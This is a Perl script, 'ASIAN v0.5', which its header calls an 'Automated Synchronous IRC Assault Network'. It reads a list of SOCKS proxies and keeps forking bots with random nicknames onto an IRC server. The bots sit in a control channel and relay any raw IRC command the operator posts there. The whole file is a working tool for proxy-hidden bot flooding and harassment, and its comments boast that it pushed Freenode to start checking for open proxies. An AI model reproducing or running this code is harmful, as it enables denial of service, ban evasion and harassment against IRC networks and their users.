| 1 | #!/usr/bin/perl |
|---|
| 2 | # ASIAN v0.5 by Rucas |
|---|
| 3 | # Automated Synchronous IRC Assault Network |
|---|
| 4 | # Based on AYSYN by mef |
|---|
| 5 | # |
|---|
| 6 | # Make sure to put a SOCKS4/5 proxy list in proxies.txt in the same |
|---|
| 7 | # directory as this script. If you'd like to use tor, you can put |
|---|
| 8 | # the correct info on one line in proxies.txt and this app will |
|---|
| 9 | # still function properly. Currently, there is a dirty hack to make |
|---|
| 10 | # both SOCKS4 and SOCKS5 proxies work, where two connections are |
|---|
| 11 | # attempted to each proxy provided using both SOCKS4 and SOCKS5 |
|---|
| 12 | # simultaneously. Hey, it works. |
|---|
| 13 | # |
|---|
| 14 | # ASIAN will constantly attempt to add more bots, if you leave it |
|---|
| 15 | # running, each thread it spawns will spawn Perl, and will eventually |
|---|
| 16 | # cause your RAM to become overutilized, although in testing this was |
|---|
| 17 | # not an issue. |
|---|
| 18 | # |
|---|
| 19 | # All bots join $channel and are issued raw irc commands from there |
|---|
| 20 | # using syntax "all PRIVMSG Rucas :lol you fail it" for all bots or |
|---|
| 21 | # "botname PRIVMSG Rucas :lol failure" and such. |
|---|
| 22 | # |
|---|
| 23 | # Testing of an early version of this script is the reason that |
|---|
| 24 | # Freenode now checks for open SOCKS proxies. |
|---|
| 25 | |
|---|
| 26 | use warnings; |
|---|
| 27 | use strict; |
|---|
| 28 | use threads; |
|---|
| 29 | use threads::shared; |
|---|
| 30 | use Net::SOCKS; |
|---|
| 31 | use Crypt::RandPasswd; |
|---|
| 32 | |
|---|
| 33 | sub server { |
|---|
| 34 | my @servers = ("irc.buttes.org"); |
|---|
| 35 | return $servers[rand(@servers)]; |
|---|
| 36 | } |
|---|
| 37 | our $port = "6667"; |
|---|
| 38 | our $channel = "#asian"; |
|---|
| 39 | sub fullname { return Crypt::RandPasswd->word(2, 7); } |
|---|
| 40 | sub nickname { return Crypt::RandPasswd->word(2, 7); } |
|---|
| 41 | our @thr; |
|---|
| 42 | our @proxies = (); |
|---|
| 43 | our $rand = 0; |
|---|
| 44 | our $count = 0; |
|---|
| 45 | |
|---|
| 46 | sub bot { |
|---|
| 47 | my %settings = @_; |
|---|
| 48 | my $socket = new Net::SOCKS( |
|---|
| 49 | socks_addr => $settings{sockshost}, |
|---|
| 50 | socks_port => $settings{socksport}, |
|---|
| 51 | protocol_version => 4, |
|---|
| 52 | ); |
|---|
| 53 | my $sock = $socket->connect( |
|---|
| 54 | peer_addr => server(), |
|---|
| 55 | peer_port => $port, |
|---|
| 56 | ); |
|---|
| 57 | unless ($sock) { warn "Bot $settings{nick} Connection Failed: $settings{sockshost} $settings{socksport} "; return; } |
|---|
| 58 | print $sock "NICK $settings{nick}\r\n"; |
|---|
| 59 | print $sock "USER ".Crypt::RandPasswd->word(2, 7)." 8 * :".fullname()."\r\n"; |
|---|
| 60 | |
|---|
| 61 | while ( my $input = <$sock> ) { |
|---|
| 62 | if ( $input =~ /^PING(.*)$/i ) { |
|---|
| 63 | print $sock "PONG $1\r\n"; |
|---|
| 64 | } |
|---|
| 65 | print "$input\n"; |
|---|
| 66 | if ( $input =~ /004/ ) { |
|---|
| 67 | last; |
|---|
| 68 | } |
|---|
| 69 | elsif ( $input =~ /433/ ) { |
|---|
| 70 | warn "Nickname is already in use."; |
|---|
| 71 | return; |
|---|
| 72 | } |
|---|
| 73 | } |
|---|
| 74 | |
|---|
| 75 | print $sock "JOIN $channel\r\n"; |
|---|
| 76 | while ( my $input = <$sock> ) { |
|---|
| 77 | chop $input; |
|---|
| 78 | print "-> $settings{nick} $input\n"; |
|---|
| 79 | if ( $input =~ /^PING(.*)$/i ) { |
|---|
| 80 | print $sock "PONG $1\r\n"; |
|---|
| 81 | } |
|---|
| 82 | if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) { |
|---|
| 83 | print $sock "$1\r\n"; |
|---|
| 84 | print "<- $settings{nick} $1\r\n"; |
|---|
| 85 | } |
|---|
| 86 | if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) { |
|---|
| 87 | print $sock "$1\r\n"; |
|---|
| 88 | print "<- $settings{nick} $1\r\n"; |
|---|
| 89 | } |
|---|
| 90 | } |
|---|
| 91 | $socket->close(); |
|---|
| 92 | } |
|---|
| 93 | |
|---|
| 94 | sub botfive { |
|---|
| 95 | my %settings = @_; |
|---|
| 96 | my $socket = new Net::SOCKS( |
|---|
| 97 | socks_addr => $settings{sockshost}, |
|---|
| 98 | socks_port => $settings{socksport}, |
|---|
| 99 | protocol_version => 5, |
|---|
| 100 | ); |
|---|
| 101 | my $sock = $socket->connect( |
|---|
| 102 | peer_addr => server(), |
|---|
| 103 | peer_port => $port, |
|---|
| 104 | ); |
|---|
| 105 | unless ($sock) { warn "Bot $settings{nick} Connection Failed: $settings{sockshost} $settings{socksport} "; return; } |
|---|
| 106 | print $sock "NICK $settings{nick}\r\n"; |
|---|
| 107 | print $sock "USER a".sprintf("%1x ",int(rand(999999)))." 8 * :".fullname()."\r\n"; |
|---|
| 108 | |
|---|
| 109 | while ( my $input = <$sock> ) { |
|---|
| 110 | if ( $input =~ /^PING(.*)$/i ) { |
|---|
| 111 | print $sock "PONG $1\r\n"; |
|---|
| 112 | } |
|---|
| 113 | print "$input\n"; |
|---|
| 114 | if ( $input =~ /004/ ) { |
|---|
| 115 | last; |
|---|
| 116 | } |
|---|
| 117 | elsif ( $input =~ /433/ ) { |
|---|
| 118 | warn "Nickname is already in use."; |
|---|
| 119 | return; |
|---|
| 120 | } |
|---|
| 121 | } |
|---|
| 122 | |
|---|
| 123 | print $sock "JOIN $channel\r\n"; |
|---|
| 124 | while ( my $input = <$sock> ) { |
|---|
| 125 | chop $input; |
|---|
| 126 | print "-> $settings{nick} $input\n"; |
|---|
| 127 | if ( $input =~ /^PING(.*)$/i ) { |
|---|
| 128 | print $sock "PONG $1\r\n"; |
|---|
| 129 | } |
|---|
| 130 | if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) { |
|---|
| 131 | print $sock "$1\r\n"; |
|---|
| 132 | print "<- $settings{nick} $1\r\n"; |
|---|
| 133 | } |
|---|
| 134 | if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) { |
|---|
| 135 | print $sock "$1\r\n"; |
|---|
| 136 | print "<- $settings{nick} $1\r\n"; |
|---|
| 137 | } |
|---|
| 138 | } |
|---|
| 139 | $socket->close(); |
|---|
| 140 | } |
|---|
| 141 | |
|---|
| 142 | sub spawn { |
|---|
| 143 | open( PROXYLIST, "./proxies.txt" ); |
|---|
| 144 | push @proxies, map { { ip => $_->[0], port => $_->[1] } }[ split /[\:\n]/ ] |
|---|
| 145 | for <PROXYLIST>; |
|---|
| 146 | for (;;) { |
|---|
| 147 | $rand = int( rand(@proxies) ); |
|---|
| 148 | my $host = $proxies[$rand]{ip}; |
|---|
| 149 | my $port = $proxies[$rand]{port}; |
|---|
| 150 | my $nick = nickname(); |
|---|
| 151 | print "$nick - $host:$port\r\n"; |
|---|
| 152 | my $pid = fork(); |
|---|
| 153 | if ($pid == 0) { |
|---|
| 154 | bot( nick => $nick, sockshost => $host, socksport => $port ); |
|---|
| 155 | botfive( nick => $nick, sockshost => $host, socksport => $port ); |
|---|
| 156 | exit; |
|---|
| 157 | } |
|---|
| 158 | sleep 2; |
|---|
| 159 | } |
|---|
| 160 | } |
|---|
| 161 | spawn(); |
|---|